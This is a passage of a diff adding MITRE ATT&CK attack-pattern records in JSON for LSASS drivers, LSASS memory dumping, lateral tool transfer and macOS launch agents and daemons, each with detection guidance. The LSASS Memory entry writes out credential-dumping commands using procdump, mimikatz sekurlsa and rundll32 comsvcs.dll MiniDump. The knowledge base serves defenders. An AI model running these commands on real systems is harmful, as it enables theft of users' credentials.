2017.", + "url": "https://technet.microsoft.com/library/cc961760.aspx" + }, + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-25T16:52:26.567Z", + "name": "LSASS Driver", + "x_mitre_data_sources": [ + "Module: Module Load", + "Driver: Driver Load", + "File: File Modification", + "File: File Creation" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T18:38:55.801Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--f0589bc3-a6ae-425a-a3d5-5659bfee07f4", + "description": "Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target LSASS drivers to obtain persistence. By either replacing or adding illegitimate drivers (e.g., [Hijack Execution Flow](https://attack.mitre.org/techniques/T1574)), an adversary can use LSA operations to continuously execute malicious payloads.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014) Also monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/008", + "external_id": "T1547.008", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Security Subsystem", + "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/cc961760.aspx" + }, + { + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.", + "url": "https://technet.microsoft.com/library/dn408187.aspx" + }, + { + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "LSASS Memory", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Access", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T19:55:01.368Z", + "created": "2020-02-11T18:41:44.783Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "id": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSSAS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n", + "x_mitre_contributors": [ + "Edward Millington", + "Ed Williams, Trustwave, SpiderLabs" + ], + "x_mitre_detection": "Monitor for unexpected processes interacting with LSASS.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access LSASS.exe by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details are stored. Credential dumpers may also use methods for reflective [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential indicators of malicious activity.\n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1003/001", + "external_id": "T1003.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", + "description": "Gruzweig, J. et al. (2021, March 2). Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities. Retrieved March 3, 2021.", + "source_name": "Volexity Exchange Marauder March 2021" + }, + { + "url": "https://symantec.broadcom.com/hubfs/Attacks-Against-Government-Sector.pdf", + "description": "Symantec. (2021, June 10). Attacks Against the Government Sector. Retrieved September 28, 2021.", + "source_name": "Symantec Attacks Against Government Sector" + }, + { + "source_name": "Graeber 2014", + "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.", + "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html" + }, + { + "source_name": "TechNet Blogs Credential Protection", + "description": "Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018.", + "url": "https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + }, + { + "source_name": "Powersploit", + "description": "PowerSploit. (n.d.). Retrieved December 4, 2014.", + "url": "https://github.com/mattifestation/PowerSploit" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-09-28T21:17:42.490Z", + "name": "Lateral Tool Transfer", + "x_mitre_data_sources": [ + "Network Share: Network Share Access", + "Named Pipe: Named Pipe Metadata", + "Network Traffic: Network Traffic Flow", + "Network Traffic: Network Traffic Content", + "Command: Command Execution", + "Process: Process Creation", + "File: File Creation", + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "created": "2020-03-11T21:01:00.959Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Adversaries may copy files laterally between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1570", + "external_id": "T1570", + "source_name": "mitre-attack" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-17T16:52:35.818Z", + "name": "Launch Agent", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1159", + "external_id": "T1159", + "source_name": "mitre-attack" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Launch Agent", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" + ], + "x_mitre_version": "1.3", + "modified": "2021-11-03T20:11:51.687Z", + "created": "2020-01-17T16:10:58.592Z", + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584", + "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents, /Library/LaunchAgents, and ~/Library/LaunchAgents.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label, ProgramArguments , and RunAtLoad keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad or KeepAlive keys set to true.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments key pointing to executables located in the /tmp or /shared folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad key set to true are in alignment with policy. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1543/001", + "external_id": "T1543.001", + "source_name": "mitre-attack" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" + }, + { + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/" + }, + { + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.", + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.", + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-19T15:08:50.043Z", + "name": "Launch Daemon", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1160", + "external_id": "T1160", + "source_name": "mitre-attack" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Launch Daemon", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution", + "Service: Service Creation", + "Service: Service Modification" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-07T22:10:55.653Z", + "created": "2020-01-17T19:23:15.227Z", + "x_mitre_permissions_required": [ + "Administrator" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--573ad264-1371-4ae0-8482-d2673b719dba", + "description": "Adversaries may create or modify Launch Daemons to execute malicious payloads as part of persistence. Launch Daemons are plist files used to interact with Launchd, the service management framework used by macOS. Launch Daemons require elevated privileges to install, are executed for every user on a system prior to login, and run in the background without the need for user interaction. During the macOS initialization startup, the launchd process loads the parameters for launch-on-demand system-level daemons from plist files found in /System/Library/LaunchDaemons/ and /Library/LaunchDaemons/. Required Launch Daemons parameters include a Label to identify the task, Program to provide a path to the executable, and RunAtLoad to specify when the task is run. Launch Daemons are often used to provide access to shared resources, updates to software, or conduct automation tasks.(Citation: AppleDocs Launch Agent Daemons)(Citation: Methods of Mac Malware Persistence)(Citation: launchd Keywords for plists)\n\nAdversaries may install a Launch Daemon configured to execute at startup by using the RunAtLoad parameter set to true and the Program parameter set to the malicious executable path. The daemon name may be disguised by using a name from a related operating system or benign software (i.e. [Masquerading](https://attack.mitre.org/techniques/T1036)). When the Launch Daemon is executed, the program inherits administrative permissions.(Citation: WireLurker)(Citation: OSX Malware Detection)\n\nAdditionally, system configuration changes (such as the installation of third party package managing software) may cause folders such as usr/local/bin to become globally writeable. So, it is possible for poor configurations to allow an adversary to modify executables referenced by current Launch Daemon's plist files.(Citation: LaunchDaemon Hijacking)(Citation: sentinelone macos persist Jun 2019)", + "x_mitre_effective_permissions": [ + "root", + "Administrator" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_detection": "Monitor for new files added to the /Library/LaunchDaemons/ folder. The System LaunchDaemons are protected by SIP.\n\nSome legitimate LaunchDaemons point to unsigned code that could be exploited. For Launch Daemons with the RunAtLoad parameter set to true, ensure the Program parameter points to signed code or executables are in alignment with enterprise policy. Some parameters are interchangeable with others, such as Program and ProgramArguments parameters but one must be present.(Citation: launchd Keywords for plists)\n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1543/004", + "external_id": "T1543.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/550.html", + "external_id": "CAPEC-550", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/551.html", + "external_id": "CAPEC-551", + "source_name": "capec" + }, + { + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.", + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html" + }, + { + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf" + }, + { + "url": "https://www.real-world-systems.com/docs/launchdPlist.1.html", + "description": "Dennis German. (2020, November 20). launchd Keywords for plists. Retrieved October 7, 2021.", + "source_name": "launchd Keywords for plists" + }, + { + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.", + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + }, + { + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.", + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf" + }, + { + "url": "https://bradleyjkemp.dev/post/launchdaemon-hijacking/", + "description": "Bradley Kemp. (2021, May 10). LaunchDaemon Hijacking: privilege escalation and persistence via insecure folder permissions. Retrieved July 26, 2021.", + "source_name": "LaunchDaemon Hijacking" + }, + { + "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/", + "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019.", + "source_name": "sentinelone macos persist Jun 2019" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-10T18:31:00.336Z", + "name": "Launchctl", + "created": "2017-12-14T16:46:06.044Z", + "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1152", + "external_id": "T1152", + "source_name": "mitre-attack" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Launchctl", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "Service: Service Creation", + "File: File Modification" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T18:40:23.141Z", + "created": "2020-03-10T18:26:56.187Z", + "x_mitre_permissions_required": [ + "User", + "root" + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d", + "description": "Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: launchctl load,launchctl unload, and launchctl start. Adversaries can use scripts or manually run the commands launchctl load -w \"%s/Library/LaunchAgents/%s\" or /bin/launchctl load to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + } + ], + "x_mitre_detection": "Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line launchctl command. Plist files are located in the root, system, and users /Library/LaunchAgents or /Library/LaunchDaemons folders. \n\nMonitor command-line execution of the launchctl command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to /tmp and /Shared folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1569/001", + "external_id": "T1569.001", + "source_name": "mitre-attack" + }, + { + "url": "https://ss64.com/osx/launchctl.html", + "description": "SS64. (n.d.). launchctl. Retrieved March 28, 2020.", + "source_name": "Launchctl Man" + }, + { + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/" + }, + { + "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", + "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.", + "source_name": "20 macOS Common Tools and Techniques" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Launchd", + "x_mitre_data_sources": [ + "Scheduled Job: Scheduled Job Creation", + "Command: Command Execution", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.0", + "modified": "2021-10-07T21:38:03.610Z", + "created": "2019-12-03T14:15:27.452Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_deprecated": true, + "id": "attack-pattern--8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "root" + ], + "description": "This technique is deprecated due to the inaccurate usage. The report cited did not provide technical detail as to how the malware interacted directly with launchd rather than going through known services. Other system services are used to interact with launchd rather than launchd being used by itself. \n\nAdversaries may abuse the Launchd daemon to perform task scheduling for initial or recurring execution of malicious code. The launchd daemon, native to macOS, is responsible for loading and maintaining services within the operating system. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n\nAn adversary may use the launchd daemon in macOS environments to schedule new executables to run at system startup or on a scheduled basis for persistence. launchd can also be abused to run a process under the context of a specified account. Daemons, such as launchd, run with the permissions of the root user account, and will operate regardless of which user account is logged in.", + "x_mitre_remote_support": false, + "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + 